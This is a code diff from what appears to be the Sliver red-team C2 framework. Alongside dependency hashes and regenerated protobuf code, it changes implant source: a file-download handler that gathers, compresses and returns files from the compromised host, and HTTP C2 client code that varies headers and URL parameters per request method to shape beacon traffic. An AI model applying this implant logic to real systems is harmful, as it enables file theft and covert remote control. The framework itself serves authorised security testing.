google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.63.2 h1:MUeiw1B2maTVZthpU5xvASfTh3LDbxHd6IJ6QQVU+xM=
google.golang.org/grpc v1.63.2/go.mod h1:WAX/8DgncnokcFUldAxq7GeB5DXHDbMF+lLvDomNkRA=
google.golang.org/grpc v1.64.1 h1:LKtvyfbX3UGVPFcGqJ9ItpVWW6oN/2XqTxfAnwRRXiA=
google.golang.org/grpc v1.64.1/go.mod h1:hiQF4LFZelK2WKaP6W0L92zGHtiQdZxk8CrSdvyjeP0=
google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg=
google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
@@ -577,10 +578,10 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.5.6 h1:Ld4mkIickM+EliaQZQx3uOJDJHtrd70MxAUqWqlx3Y8=
gorm.io/driver/mysql v1.5.6/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
gorm.io/driver/postgres v1.5.7 h1:8ptbNJTDbEmhdr62uReG5BGkdQyeasu/FZHxI0IMGnM=
gorm.io/driver/postgres v1.5.7/go.mod h1:3e019WlBaYI5o5LIdNV+LyxCMNtLOQETBXL2h4chKpA=
gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo=
gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8=
gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI=
gorm.io/driver/sqlite v1.5.5 h1:7MDMtUZhV065SilG62E0MquljeArQZNfJnjd9i9gx3E=
gorm.io/driver/sqlite v1.5.5/go.mod h1:6NgQ7sQWAIFsPrJJl1lSNSu2TABh0ZZ/zm5fosATavE=
gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
@@ -594,18 +595,18 @@ honnef.co/go/tools v0.4.6 h1:oFEHCKeID7to/3autwsWfnuv69j3NsfcXbvJKuIcep8=
honnef.co/go/tools v0.4.6/go.mod h1:+rnGS1THNh8zMwnd2oVOTL9QF6vmfyG6ZXBULae2uc0=
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
modernc.org/ccgo/v4 v4.16.0/go.mod h1:dkNyWIjFrVIZ68DTo36vHK+6/ShBn4ysU61So6PIqCI=
modernc.org/cc/v4 v4.21.2 h1:dycHFB/jDc3IyacKipCNSDrjIC0Lm1hyoWOZTRR20Lk=
modernc.org/cc/v4 v4.21.2/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.17.10 h1:6wrtRozgrhCxieCeJh85QsxkX/2FFrT9hdaWPlbn4Zo=
modernc.org/ccgo/v4 v4.17.10/go.mod h1:0NBHgsqTTpm9cA5z2ccErvGZmtntSM9qD2kFAs6pjXM=
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ=
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
modernc.org/gc/v2 v2.4.1/go.mod h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
modernc.org/libc v1.49.3 h1:j2MRCRdwJI2ls/sGbeSk0t2bypOG/uvPZUsGQFDulqg=
modernc.org/libc v1.49.3/go.mod h1:yMZuGkn7pXbKfoT/M35gFJOAEdSKdxL0q64sF7KqCDo=
modernc.org/libc v1.52.1 h1:uau0VoiT5hnR+SpoWekCKbLqm7v6dhRL3hI+NQhgN3M=
modernc.org/libc v1.52.1/go.mod h1:HR4nVzFDSDizP620zcMCgjb1/8xk2lg5p/8yjfGv1IQ=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
@@ -614,8 +615,8 @@ modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss=
modernc.org/sqlite v1.29.9 h1:9RhNMklxJs+1596GNuAX+O/6040bvOwacTxuFcRuQow=
modernc.org/sqlite v1.29.9/go.mod h1:ItX2a1OVGgNsFh6Dv60JQvGfJfTPHPVpV6DF59akYOA=
modernc.org/sqlite v1.30.1 h1:YFhPVfu2iIgUf9kuA1CR7iiHdcEEsI2i+yjRYHscyxk=
modernc.org/sqlite v1.30.1/go.mod h1:DUmsiWQDaAvU4abhc/N+djlom/L2o8f7gZ95RCvyoLU=
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
@@ -626,5 +627,5 @@ nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k=
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
tailscale.com v1.64.2 h1:0VNwUsjK6CwgkqyaOANndBER2SMYl8JZ5uNRTvIqCnY=
tailscale.com v1.64.2/go.mod h1:6kGByHNxnFfK1i4gVpdtvpdS1HicHohWXnsfwmXy64I=
tailscale.com v1.66.4 h1:V0vTQah3xi2/zbsxJeOfl5QbO1WJPeD9TMlfL0daXqc=
tailscale.com v1.66.4/go.mod h1:99BIV4U3UPw36Sva04xK2ZsEpVRUkY9jCdEDSAhaNGM=
+177 -115
View File
@@ -472,105 +472,197 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
func readSingleFile(path string, maxBytes, maxLines int64) ([]byte, error) {
fileHandle, err := os.Open(path)
if err != nil {
return nil, err
}
defer fileHandle.Close()
/*
Combine the path and filter to see if the user wants
to download a single file
Made a bit of a design decision - this function is going to go for accuracy.
To that end, if maxLines is specified and those lines are all blank, that is
what the user will get back. The other approach would be to skip blank lines
but that would not be accurate. So if you head or tail a file that starts or
ends with blank lines, you are going to get those blank lines. :)
*/
var rawData []byte
var err error
fileInfo, err := os.Stat(path + filter)
if err != nil && os.IsNotExist(err) {
// Then the file does not exist
return nil, false, 0, 1, err
// If maxBytes is negative, seek to that many bytes from the end of the file
if maxBytes < 0 {
_, err = fileHandle.Seek(maxBytes, io.SeekEnd)
if err != nil {
return nil, err
}
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
fileHandle, err := os.Open(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
}
defer fileHandle.Close()
reader := bufio.NewReader(fileHandle)
lines := []string{}
var bytesRead int64 = 0
if maxBytes != 0 {
var readFirst bool = maxBytes > 0
if readFirst {
rawData = make([]byte, maxBytes)
_, err = fileHandle.Read(rawData)
} else {
rawData = make([]byte, maxBytes*-1)
var bytesToRead int64 = 0
if fileInfo.Size()+maxBytes < 0 {
bytesToRead = 0
} else {
bytesToRead = fileInfo.Size() + maxBytes
}
_, err = fileHandle.ReadAt(rawData, bytesToRead)
}
} else if maxLines != 0 {
var linesRead int64 = 0
var lines []string
var readFirst bool = true
if maxLines < 0 {
maxLines *= -1
readFirst = false
}
fileScanner := bufio.NewScanner(fileHandle)
for fileScanner.Scan() {
lines = append(lines, fileScanner.Text())
linesRead += 1
if linesRead == maxLines && readFirst {
break
}
}
err = fileScanner.Err()
if err == nil {
if readFirst {
rawData = []byte(strings.Join(lines, "\n"))
} else {
linePosition := int64(len(lines)) - maxLines
if linePosition < 0 {
linePosition = 0
}
rawData = []byte(strings.Join(lines[linePosition:], "\n"))
}
}
} else {
// Read the entire file
rawData = make([]byte, fileInfo.Size())
_, err = fileHandle.Read(rawData)
}
for {
// Read a single line
line, err := reader.ReadBytes('\n')
if err != nil && err != io.EOF {
// Then we could not read the file
return nil, false, 0, 1, err
// We hit an error trying to read the file
return nil, err
}
if maxBytes > 0 && bytesRead+int64(len(line)) > maxBytes {
// If we save this line, then we will have read too many bytes.
// Truncate the line
remainingBytes := maxBytes - bytesRead
line = line[:remainingBytes]
}
lines = append(lines, string(line))
bytesRead += int64(len(line))
// If this is the end of the file, then we are done reading the file
if err == io.EOF {
break
}
// If we have read the maximum number of bytes we are allowed to read, we are done reading the file
if maxBytes > 0 && bytesRead >= maxBytes {
break
}
}
// If maxLines is negative, slice the last maxLines * -1 lines
if maxLines < 0 {
// Determine where in the line buffer we should be for negative lines
startIndex := int64(len(lines)) + maxLines
if startIndex < 0 {
// Make sure we do not go out of bounds
startIndex = 0
}
lines = lines[startIndex:]
} else if maxLines > 0 && int64(len(lines)) > maxLines {
lines = lines[:maxLines]
}
// Join the lines
combinedFileData := strings.Join(lines, "")
return []byte(combinedFileData), nil
}
func readMultipleFiles(path string, filter string, recurse bool) *sliverpb.Download {
var downloadData bytes.Buffer
var downloadResponse *sliverpb.Download = &sliverpb.Download{
Path: path + filter,
Exists: true,
IsDir: true,
ReadFiles: 0,
UnreadableFiles: 1,
}
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
downloadResponse.ReadFiles = int32(readFiles)
downloadResponse.UnreadableFiles = int32(unreadableFiles)
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, downloadData.Bytes())
downloadResponse.Data = gzipData.Bytes()
downloadResponse.Encoder = "gzip"
downloadResponse.Response = &commonpb.Response{}
return downloadResponse
}
// func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
func prepareDownload(path string, filter string, recurse bool, restrictedToFiles bool, maxBytes int64, maxLines int64) *sliverpb.Download {
var err error
// Default response
var downloadResponse *sliverpb.Download = &sliverpb.Download{
Path: path + filter,
Exists: false,
IsDir: false,
ReadFiles: 0,
UnreadableFiles: 1,
Response: &commonpb.Response{},
}
// Check to see how many files or dirs match path+filter
matches, err := filepath.Glob(path + filter)
if err != nil {
// If we got here, then there is something wrong with the supplied pattern
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
if len(matches) == 0 {
// Then nothing matches the pattern and there is nothing to download
downloadResponse.Response = &commonpb.Response{
Err: "no files match pattern",
}
return downloadResponse
} else if len(matches) == 1 {
fileInfo, err := os.Stat(matches[0])
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
if !fileInfo.IsDir() {
// If we are here, the user requested a single file
fileData, err := readSingleFile(matches[0], maxBytes, maxLines)
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", matches[0], err)
//{{end}}
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, fileData)
downloadResponse.Path = matches[0]
downloadResponse.Data = gzipData.Bytes()
downloadResponse.Encoder = "gzip"
downloadResponse.Exists = true
downloadResponse.ReadFiles = 1
downloadResponse.UnreadableFiles = 0
return downloadResponse
} else {
return rawData, false, 1, 0, nil
if restrictedToFiles {
downloadResponse.Response = &commonpb.Response{
Err: "multiple files match pattern, command is restricted to one file",
}
return downloadResponse
}
downloadResponse = readMultipleFiles(path, filter, recurse)
return downloadResponse
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
if restrictedToFiles {
downloadResponse.Response = &commonpb.Response{
Err: "multiple files match pattern, command is restricted to one file",
}
return downloadResponse
}
downloadResponse = readMultipleFiles(path, filter, recurse)
return downloadResponse
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
@@ -585,8 +677,7 @@ func downloadHandler(data []byte, resp RPCResponse) {
target, _ := filepath.Abs(downloadReq.Path)
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
target += string(os.PathSeparator)
if downloadReq.RestrictedToFile {
/*
The user has asked to perform a download operation that should only be allowed on
@@ -609,36 +700,7 @@ func downloadHandler(data []byte, resp RPCResponse) {
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse, downloadReq.MaxBytes, downloadReq.MaxLines)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
download = prepareDownload(path, filter, downloadReq.Recurse, downloadReq.RestrictedToFile, downloadReq.MaxBytes, downloadReq.MaxLines)
data, _ = proto.Marshal(download)
resp(data, err)
+4 -7
View File
@@ -227,12 +227,9 @@ func getArgvFromPid(pid int) ([]string, error) {
errStr := unix.ErrnoName(errno)
return []string{""}, fmt.Errorf("%s", errStr)
}
buffer := bytes.NewBuffer(processArgs)
numberOfArgs, err := binary.ReadUvarint(buffer)
if err != nil {
return []string{""}, err
}
buffer.Next(3) // skip sizeof(int32), the number of args
buffer := bytes.NewBuffer(processArgs[0:size])
numberOfArgsBytes := buffer.Next(4)
numberOfArgs := binary.LittleEndian.Uint32(numberOfArgsBytes)
argv := make([]string, numberOfArgs+1) // executable name is present twice
// There's probably a way to optimize that loop.
@@ -248,7 +245,7 @@ func getArgvFromPid(pid int) ([]string, error) {
for {
arg, err := buffer.ReadString(0x00)
if err != nil {
continue
break
}
if strings.ReplaceAll(arg, "\x00", "") != "" {
argv[i] = arg
@@ -238,7 +238,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
Name string
Value string
Probability string
Methods []string
Method string
}
// HTTP C2 Profile headers
@@ -248,20 +248,15 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
Name: "{{$header.Name}}",
Value: "{{$header.Value}}",
Probability: "{{$header.Probability}}",
Methods: []string{
// {{range $method := $header.Methods}}
"{{$method}}",
// {{end}}
},
Method: "{{$header.Method}}",
},
// {{end}}
}
for _, header := range extraHeaders {
// Empty array means all methods (backwards compatibility)
if len(header.Methods) > 0 {
if !contains(header.Methods, method) {
continue
}
if len(header.Method) > 0 && header.Method != method {
continue
}
// {{if .Config.Debug}}
log.Printf("Rolling to add HTTP header '%s: %s' (%s)", header.Name, header.Value, header.Probability)
@@ -278,11 +273,19 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.ExtraURLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
{
Name: "{{$param.Name}}",
Value: "{{$param.Value}}",
Probability: "{{$param.Probability}}",
Method: "{{$param.Method}}",
},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
if len(param.Method)>0 && param.Method != method {
continue
}
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
@@ -431,7 +434,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
log.Printf("[http] GET -> %s", req.URL)
// {{end}}
resp, rawRespData, err := s.DoPoll(req)
if err != nil {
File diff suppressed because it is too large. Load diff
+2 -1
View File
@@ -187,6 +187,7 @@ message ImplantConfig {
bool NetGoEnabled = 151;
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
string Extension = 154;
repeated commonpb.File Assets = 200;
}
@@ -225,6 +226,7 @@ message ExternalImplantConfig {
ImplantConfig Config = 1;
ImplantBuild Build = 2;
HTTPC2Config HTTPC2 = 3;
map<string, uint64> encoders = 4;
}
message ExternalImplantBinary {
@@ -512,7 +514,6 @@ message MsfStagerReq {
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
string AdvOptions = 8;
string HTTPC2ConfigName = 9;
}
+58 -149
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.1
// protoc v4.25.3
// protoc-gen-go v1.36.3
// protoc v5.29.3
// source: commonpb/common.proto
package commonpb
@@ -21,18 +21,16 @@ const (
)
type Empty struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
unknownFields protoimpl.UnknownFields
sizeCache protoimpl.SizeCache
}
func (x *Empty) Reset() {
*x = Empty{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Empty) String() string {
@@ -43,7 +41,7 @@ func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -60,23 +58,20 @@ func (*Empty) Descriptor() ([]byte, []int) {
// Request - Common fields used in all gRPC requests
type Request struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
unknownFields protoimpl.UnknownFields
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Request) String() string {
@@ -87,7 +82,7 @@ func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -135,23 +130,20 @@ func (x *Request) GetSessionID() string {
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
unknownFields protoimpl.UnknownFields
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Response) String() string {
@@ -162,7 +154,7 @@ func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -207,21 +199,18 @@ func (x *Response) GetTaskID() string {
// File - A basic file data type
type File struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
unknownFields protoimpl.UnknownFields
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *File) Reset() {
*x = File{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *File) String() string {
@@ -232,7 +221,7 @@ func (*File) ProtoMessage() {}
func (x *File) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -263,26 +252,23 @@ func (x *File) GetData() []byte {
// Process - A basic process data type
type Process struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Process) Reset() {
*x = Process{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Process) String() string {
@@ -293,7 +279,7 @@ func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -359,21 +345,18 @@ func (x *Process) GetCmdLine() []string {
// EnvVar - Environment variable K/V
type EnvVar struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
unknownFields protoimpl.UnknownFields
